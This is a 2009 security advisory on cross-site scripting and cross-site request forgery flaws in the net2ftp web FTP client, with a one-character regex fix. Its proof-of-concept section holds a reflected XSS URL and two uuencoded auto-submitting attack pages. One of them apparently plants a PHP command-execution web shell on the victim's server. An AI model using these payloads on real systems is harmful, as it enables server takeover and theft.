net2ftp <= 0.97 Cross-Site Scripting/Request Forgery

#=cicatriz
<[email protected]>=#=(advisories)=#
/) /) /)
_ _ (/ ________ // _ (/ _ _____ _
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.-/
#=net2ftp <= 0.97 Cross-Site Scripting/Request
Forgery=#=~(_/~=#
#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Advisory & Vulnerability
Information=#=~=#

    Title: net2ftp <= 0.97 Cross-Site Scripting/Request Forgery
    Advisory ID: VUDO-2009-0804
    Advisory URL: http://research.voodoo-labs.org/advisories/3
    Date founded: 2009-04-02
    Vendors contacted: net2ftp
    Class: Multiple Vulnerabilities
    Remotely Exploitable: Yes
    Localy Exploitable: No
    Exploit/PoC Available: Yes
    Policy: Full Disclosure Policy (RFPolicy) v2.0

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Tested & Vulnerable
packages=#=~=#

    [+] net2ftp 0.97
    [+] net2ftp 0.95
    
    Beta:
            [*] net2ftp 0.98 beta

#=~~~~~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Solutions and
Workarounds=#==#

The vendor didn't released any fix/update.

#=~~~~~~~~~~~~~~~~~~~~~~~~=#
#=Technical
Information=#==#

Multiple vulnerabilities were found on the package net2ftp [1], version 0.98 and below. Two types of
vulnerabilities were found: Cross-Site Scripting and Cross-Site Request Forgery.

[*] Cross-Site Scripting (XSS):

    This vulnerability it's produced by a "typo" in the function validateGeneriInput(), where

the
extraction of characters < and > fails because the regular expression in charge of the
extraction
it's invalid.

    +++includes/registerglobals.inc.php @@ 1088:1102
      1088  function validateGenericInput($input) {
      1089
      1090  // --------------
      1091  // Remove the following characters <>
      1092  // --------------
      1093
      1094  // Remove XSS code
      1095  //      $input = RemoveXSS($input);
      1096
      1097  // Remove < >

XXX 1098 $input = preg_replace("/\\<\\>]/", "", $input);
1099
1100 return $input;
1101
1102 } // end validateGenericInput
—includes/registerglobals.inc.php

    This can be easily fixed adding a "[" character to the pattern:
    
    +++
    $input = preg_replace("/[\\<\\>]/", "", $input);
    ---

[*] Cross-Site Request Forgery (CSRF):

    All the forms on the web application are vulnerable because they doesn't check any type of

token to
ensure that the user submited the form. So an attacker can trick the user to visit a
website with this
type of method and perform certain actions on the server, like create files,
delete/rename/upload/etc.

#=~~~~~~~~~~~~~~~~~~~~=#
#=Proof of
Concept=#=~=#

[*] Cross-Site Scripting (XSS):

    +++
    http://ftp.victim.com/?state=login_small&errormessage=<iframe

onload="alert(/voodoo/.source);">
—

[*] Cross-Site Request Forgery (CSRF):

    With this HTML page an attacker can create a evil PHP script on the user's server.

(uuencoded)

    +++
    begin 644 attack.html
    M/&AT;6P^"CQB;V1Y/@H)/&9O<FT@:60](D5D:71&;W)M(B!A8W1I;VX](FAT
    M='!S.B\O9G1P+G9I8W1I;2YC;VTO:6YD97@N<&AP(B!O;G-U8FUI=#TB(B!M
    M971H;V0](G!O<W0B/@H)"3QI;G!U="!N86UE/2)F='!S97)V97(B('9A;'5E
    M/2)V:6-T:6TN9G1P<V5R=F5R+F-O;2(@='EP93TB:&ED9&5N(CX*"0D\:6YP
    M=70@;F%M93TB9G1P<V5R=F5R<&]R="(@=F%L=64](C(Q(B!T>7!E/2)H:61D
    M96XB/@H)"3QI;G!U="!N86UE/2)U<V5R;F%M92(@=F%L=64](G9I8W1I;75S
    M97)N86UE(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)L86YG=6%G
    M92(@=F%L=64](F5N(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
    M:VEN(B!V86QU93TB:6YD:6$B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
    M;64](F9T<&UO9&4B('9A;'5E/2)B:6YA<GDB('1Y<&4](FAI9&1E;B(^"@D)
    M/&EN<'5T(&YA;64](G!A<W-I=F5M;V1E(B!V86QU93TB>65S(B!T>7!E/2)H
    M:61D96XB/@H)"3QI;G!U="!N86UE/2)S<VQC;VYN96-T(B!V86QU93TB;F\B
    M('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G9I97=M;V1E(B!V86QU
    M93TB;&ES="(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB<V]R="(@
    M=F%L=64](B(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB<V]R=&]R
    M9&5R(B!V86QU93TB(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
    M=&%T92(@=F%L=64](F5D:70B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
    M;64](G-T871E,B(@=F%L=64](B(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@
    M;F%M93TB9&ER96-T;W)Y(B!V86QU93TB+R(@='EP93TB:&ED9&5N(CX*"0D\
    M:6YP=70@;F%M93TB<V-R965N(B!V86QU93TB,R(@='EP93TB:&ED9&5N(CX*
    M"@D)/&EN<'5T(&YA;64](G1E>'1A<F5A5'EP92(@=F%L=64](B(@='EP93TB
    M:&ED9&5N(CX*"0D\<V5L96-T(&YA;64](G1E>'1A<F5A4V5L96-T(B!I9#TB
    M=&5X=&%R96%396QE8W0B(&]N8VAA;F=E/2)D;V-U;65N="YF;W)M<ULG161I
    M=$9O<FTG72YS8W)E96XN=F%L=64],CMD;V-U;65N="YF;W)M<ULG161I=$9O
    M<FTG72YT97AT87)E851Y<&4N=F%L=64]9&]C=6UE;G0N9F]R;7-;)T5D:71&
    M;W)M)UTN=&5X=&%R96%396QE8W0N;W!T:6]N<UMD;V-U;65N="YF;W)M<ULG
    M161I=$9O<FTG72YT97AT87)E85-E;&5C="YS96QE8W1E9$EN9&5X72YV86QU
    M93MD;V-U;65N="YF;W)M<ULG161I=$9O<FTG72YS=6)M:70H*3LB/@H)"3QO
    M<'1I;VX@=F%L=64](G!L86EN(B!S96QE8W1E9#TB<V5L96-T960B/DYO<FUA
    M;"!T97AT87)E83PO;W!T:6]N/@H)"3PO<V5L96-T/@H)"3QI;G!U="!C;&%S
    M<STB:6YP=70B(&YA;64](F5N=')Y(B!T>7!E/2)T97AT(B!V86QU93TB979I
    M;"YP:'`B/CQB<CX*"0D\=&5X=&%R96$@;F%M93TB=&5X="(@8VQA<W,](F5D
    M:70B(')O=W,](C,S(B!S='EL93TB=VED=&@Z(#DY)3LB('=R87`](F]F9B(@
    M;VYK97ED;W=N/2)486)497AT*"DB/CP_/6![)%]'151;)V-M9"==?6`_/CPO
    M=&5X=&%R96$^"@D\+V9O<FT^"CQS8W)I<'0^"F1O8W5M96YT+F9O<FUS6S!=
    G+G-U8FUI="@I.PH\+W-C<FEP=#X*"CPO8F]D>3X*/"]H=&UL/@H*
    `
    end
    ---

[*] CSRF + XSS:

    This is a Cross-Site Request Forgery attack that creates a simple Cross-Site Scripting

attack in the
"Bookmark" section. It can be even worse because the bookmark string can be written
according to the
attacker needs and the XSS vector can be permanent if the user saves that bookmark (and the
string
it's also vulnerable to XSS). (uuencoded)

    +++
    begin 644 xss-csrf-attack.html
    M/&AT;6P^"CQB;V1Y/@H)/&9O<FT@:60](E-T871U<V)A<D9O<FTB(&%C=&EO
    M;CTB:'1T<',Z+R]F='`N=FEC=&EM+F-O;2]I;F1E>"YP:'`B(&]N<W5B;6ET
    M/2(B(&UE=&AO9#TB<&]S="(^"@D)/&EN<'5T(&YA;64](F9T<'-E<G9E<B(@
    M=F%L=64](G9I8W1I;2YF='!S97)V97(N8V]M(B!T>7!E/2)H:61D96XB/@H)
    M"3QI;G!U="!N86UE/2)F='!S97)V97)P;W)T(B!V86QU93TB,C$B('1Y<&4]
    M(FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G5S97)N86UE(B!V86QU93TB=FEC
    M=&EM=7-E<FYA;64B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](FQA
    M;F=U86=E(B!V86QU93TB96XB('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
    M;64](G-K:6XB('9A;'5E/2)I;F1I82(@='EP93TB:&ED9&5N(CX*"0D\:6YP
    M=70@;F%M93TB9G1P;6]D92(@=F%L=64](F)I;F%R>2(@='EP93TB:&ED9&5N
    M(CX*"0D\:6YP=70@;F%M93TB<&%S<VEV96UO9&4B('9A;'5E/2)Y97,B('1Y
    M<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA;64](G-S;&-O;FYE8W0B('9A;'5E
    M/2)N;R(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB=FEE=VUO9&4B
    M('9A;'5E/2)L:7-T(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
    M;W)T(B!V86QU93TB(B!T>7!E/2)H:61D96XB/@H)"3QI;G!U="!N86UE/2)S
    M;W)T;W)D97(B('9A;'5E/2(B('1Y<&4](FAI9&1E;B(^"@D)/&EN<'5T(&YA
    M;64](G-T871E(B!V86QU93TB8F]O:VUA<FLB('1Y<&4](FAI9&1E;B(^"@D)
    M/&EN<'5T(&YA;64](G-T871E,B(@=F%L=64](FUA:6XB('1Y<&4](FAI9&1E
    M;B(^"@D)/&EN<'5T(&YA;64](F1I<F5C=&]R>2(@=F%L=64](B\B('1Y<&4]
    M(FAI9&1E;B(^"@H)"3QI;G!U="!N86UE/2)U<FPB('9A;'5E/2)J879A<V-R
    M:7!T.F%L97)T*#`I.R(@='EP93TB:&ED9&5N(CX*"0D\:6YP=70@;F%M93TB
    M=&5X="(@=F%L=64](B9L=#MI9G)A;64@<W)C/6AT='`Z+R]V;V]D;V\M;&%B
    M<RYO<F<@;VYL;V%D/6%L97)T*'5N97-C87!E*"]V;V]D;V\E,C!P96]P;&4A
    M+RYS;W5R8V4I*3LF9W0[)FQT.R]I9G)A;64F9W0[(B!T>7!E/2)H:61D96XB
    M/@H)/"]F;W)M/@H*/'-C<FEP=#X*9&]C=6UE;G0N9F]R;7-;,%TN<W5B;6ET
    ?*"D["CPO<V-R:7!T/@H*/"]B;V1Y/@H\+VAT;6P^"@``
    `
    end
    ---

#=~~~~~~~~~~~~~~~~~~~~~~=#
#=Reporting
Timeline=#=~=#

    [*] 02-04-2009: Bugs discovered.
    [*] 03-04-2009: Voodoo contacted the vendor.
    [*] 08-04-2009: After 5 days the vendor didn't gave any response.
    [*] 08-04-2009: Advisory VUDO-2009-0804 published.

#=~~~~~~~~~~~~~~=#
#=References=#=~=#

    [1] http://www.net2ftp.com/

#=cicatriz
<[email protected]>=#=(advisories)=#
#= miй 08 abr 2009 ART
=#=~~~~~~~~~~~~~~~~~~~~~~~~~~=#